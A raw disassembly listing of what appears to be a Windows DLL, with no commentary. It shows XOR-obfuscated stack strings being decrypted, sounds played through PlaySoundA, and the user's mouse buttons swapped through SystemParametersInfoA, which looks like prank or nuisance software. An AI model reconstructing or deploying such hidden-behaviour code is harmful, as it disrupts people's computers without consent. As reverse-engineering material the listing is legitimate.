mov rax, qword [rbp]
mov qword [rbp + 0xbe00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbe08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbe10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbe18], rax
vmovdqu ymm0, ymmword [rbp + 0xbe00]
vpxor ymm1, ymm0, ymmword [rbp + 0xd80]
vmovdqa ymmword [rbp + 0xd80], ymm1
lea rdx, [rbp + 0xd80]
lea rcx, [rbp + 0x5310]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5310]
lea rcx, [rbp + 0x8bf0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8bd0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.1800117f0
movzx esi, al
lea rcx, [rbp + 0x8bd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8bf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5310]
call fcn.180040870
xor eax, eax
test sil, sil
movabs rsi, 0xfe3140f8c3e13285
jne 0x18003d9f0
mov byte [rbp + 0x2dc], al
mov byte [rbp + 0x2dd], al
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd60], rax
movabs rax, 0x7de3e5d127347cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd68], rax
movabs rax, 0xfb38a927664ddb1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbe20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbe28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbe30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbe38], rax
vmovdqu ymm0, ymmword [rbp + 0xbe20]
vpxor ymm1, ymm0, ymmword [rbp + 0xd60]
vmovdqa ymmword [rbp + 0xd60], ymm1
lea rdx, [rbp + 0xd60]
lea rcx, [rbp + 0x5350]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x2de], al
mov byte [rbp + 0x2df], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2360], rax
movabs rax, 0x21aef1fd7f5c52aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2368], rax
movabs rax, 0x926af17e7b49f524
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2370], rax
movabs rax, 0xca2ef900915047ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2378], rax
movabs rax, 0x57e5678f301cfe5d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2380], rax
movabs rax, 0x297b0b59e192050b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2388], rax
movabs rdx, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2390], rax
movabs rcx, 0x284ee4f6edcbf52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2398], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd500], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd508], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd510], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd518], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd520], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd528], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xd530], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd538], rax
vmovdqu ymm0, ymmword [rbp + 0xd500]
vpxor ymm1, ymm0, ymmword [rbp + 0x2360]
vmovdqa ymmword [rbp + 0x2360], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2380]
vpxor ymm1, ymm0, ymmword [rbp + 0xd520]
vmovdqa ymmword [rbp + 0x2380], ymm1
lea rdx, [rbp + 0x2360]
lea rcx, [rbp + 0x5330]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5350]
lea rcx, [rbp + 0x8c50]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8c30]
call fcn.180042b00
mov rbx, rax
lea rdx, [rbp + 0x5330]
lea rcx, [rbp + 0x8c10]
call fcn.1800553f0
nop
mov rdx, rbx
mov rcx, rax
call fcn.1800200c0
mov ebx, eax
lea rcx, [rbp + 0x8c10]
call fcn.180040870
nop
lea rcx, [rbp + 0x8c30]
call fcn.180040870
nop
lea rcx, [rbp + 0x8c50]
call fcn.180040870
nop
lea rcx, [rbp + 0x5330]
call fcn.180040870
nop
lea rcx, [rbp + 0x5350]
call fcn.180040870
test ebx, ebx
je 0x18003db1d
xor eax, eax
mov byte [rbp + 0x2e0], al
mov byte [rbp + 0x2e1], al
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd40], rax
movabs rax, 0x7de3e5d127347cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd48], rax
movabs rax, 0xfb38a927664ddb1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbe40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbe48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbe50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbe58], rax
vmovdqu ymm0, ymmword [rbp + 0xbe40]
vpxor ymm1, ymm0, ymmword [rbp + 0xd40]
vmovdqa ymmword [rbp + 0xd40], ymm1
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0x5370]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5370]
lea rcx, [rbp + 0x8c90]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8c70]
call fcn.180042b00
mov rcx, rax
call fcn.18003dd10
mov rcx, rax
xor edx, edx
mov r8d, 0x20001
call qword [sym.imp.WINMM.dll_PlaySoundA]
lea rcx, [rbp + 0x8c70]
call fcn.180040870
nop
lea rcx, [rbp + 0x8c90]
call fcn.180040870
nop
lea rcx, [rbp + 0x5370]
jmp 0x18003db18
mov byte [rbp + 0x2e2], al
mov byte [rbp + 0x1c], al
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd20], rax
movabs rax, 0x7de3e5d127347cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd28], rax
movabs rax, 0xfb38a927664ddb1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbe80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbe88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbe90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbe98], rax
vmovdqu ymm0, ymmword [rbp + 0xbe80]
vpxor ymm1, ymm0, ymmword [rbp + 0xd20]
vmovdqa ymmword [rbp + 0xd20], ymm1
lea rdx, [rbp + 0xd20]
lea rcx, [rbp + 0x5390]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5390]
lea rcx, [rbp + 0x8cd0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8cb0]
call fcn.180042b00
mov rcx, rax
call fcn.18003dd10
mov rcx, rax
xor edx, edx
mov r8d, 0x20001
call qword [sym.imp.WINMM.dll_PlaySoundA]
lea rcx, [rbp + 0x8cb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8cd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5390]
call fcn.180040870
mov ecx, 0x17
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
mov eax, 0
sete al
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea ecx, [r9 + 0x21]
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
lea rcx, [rbp + 0xa690]
call fcn.180004f20
nop
lea rcx, [rbp + 0xa3c0]
call fcn.180004ec0
lea rax, [rbp + 0xa690]
mov qword [rbp + 0xa30], rax
lea rax, [0x180005880]
mov qword [rbp + 0xa38], rax
lea r8, [rbp + 0xa30]
lea rdx, [rbp + 0xa38]
lea rcx, [rbp + 0xa4e0]
call fcn.180043010
nop
lea rax, [rbp + 0xa690]
mov qword [rbp + 0xa40], rax
lea rax, [0x180005940]
mov qword [rbp + 0xa68], rax
lea r8, [rbp + 0xa40]
lea rdx, [rbp + 0xa68]
lea rcx, [rbp + 0xa4f0]
call fcn.180043010
nop
lea rax, [rbp + 0xa3c0]
mov qword [rbp + 0xa48], rax
lea rax, [rbp + 0xa690]
mov qword [rbp + 0xa50], rax
lea rax, [rbp + 0xa690]
mov qword [rbp + 0xa58], rax
lea rax, [0x180005980]
mov qword [rbp + 0xa60], rax
lea rax, [rbp + 0xa48]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xa50]
lea r8, [rbp + 0xa58]
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0xa500]
call fcn.1800430b0
nop
lea rcx, [rbp + 0xa4e0]
call fcn.180001ab0
lea rcx, [rbp + 0xa4f0]
call fcn.180001ab0
lea rcx, [rbp + 0xa500]
call fcn.180001ab0
nop
lea rcx, [rbp + 0xa500]
call fcn.180001a90
nop
lea rcx, [rbp + 0xa4f0]
call fcn.180001a90
nop
lea rcx, [rbp + 0xa4e0]
call fcn.180001a90
nop
lea rcx, [rbp + 0xa690]
call fcn.18003dd40
cmp byte [rbp + 0x34], 0
je 0x18003dc95
call fcn.180004c90
nop
lea rcx, [rbp + 0xa360]
call fcn.180040870
nop
lea rcx, [rbp + 0xa9f8]
call fcn.180040870
nop
lea rcx, [rbp + 0xa530]
call fcn.180040870
nop
lea rcx, [rbp + 0xa318]
call fcn.180040870
jmp 0x1800266ca
lea rcx, [rbp + 0x8cf0]
call fcn.180042b70
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x8cf0]
jmp 0x18003b8fc
lea rcx, [rbp + 0xa530]
call fcn.180040870
nop
lea rcx, [rbp + 0xa318]
call fcn.180040870
jmp 0x180025e15